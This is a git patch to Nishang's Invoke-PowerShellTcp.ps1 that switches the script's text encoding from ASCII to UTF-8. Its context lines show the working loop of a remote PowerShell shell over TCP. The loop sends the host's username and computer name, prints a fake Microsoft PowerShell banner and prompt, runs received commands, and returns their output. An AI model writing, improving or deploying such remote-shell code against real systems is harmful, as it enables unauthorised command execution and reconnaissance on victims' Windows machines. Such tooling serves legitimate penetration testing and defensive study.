From 66c7c91e5c03270f9203a24b21433d7818e64b73 Mon Sep 17 00:00:00 2001 From: anhilo Date: Tue, 16 Apr 2019 14:30:01 +0800 Subject: [PATCH] Update Invoke-PowerShellTcp.ps1 change to utf-8 --- Shells/Invoke-PowerShellTcp.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Shells/Invoke-PowerShellTcp.ps1 b/Shells/Invoke-PowerShellTcp.ps1 index a382cd9..92088e5 100644 --- a/Shells/Invoke-PowerShellTcp.ps1 +++ b/Shells/Invoke-PowerShellTcp.ps1 @@ -81,16 +81,16 @@ https://github.com/samratashok/nishang [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername - $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") + $sendbytes = ([text.encoding]::GetEncoding('UTF-8')).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt - $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') + $sendbytes = ([text.encoding]::GetEncoding('UTF-8')).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { - $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding + $EncodedText = New-Object -TypeName System.Text.UTF8Encoding $data = $EncodedText.GetString($bytes,0, $i) try { @@ -108,7 +108,7 @@ https://github.com/samratashok/nishang $sendback2 = $sendback2 + $x #Return the results - $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) + $sendbyte = ([text.encoding]::GetEncoding('UTF-8')).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() }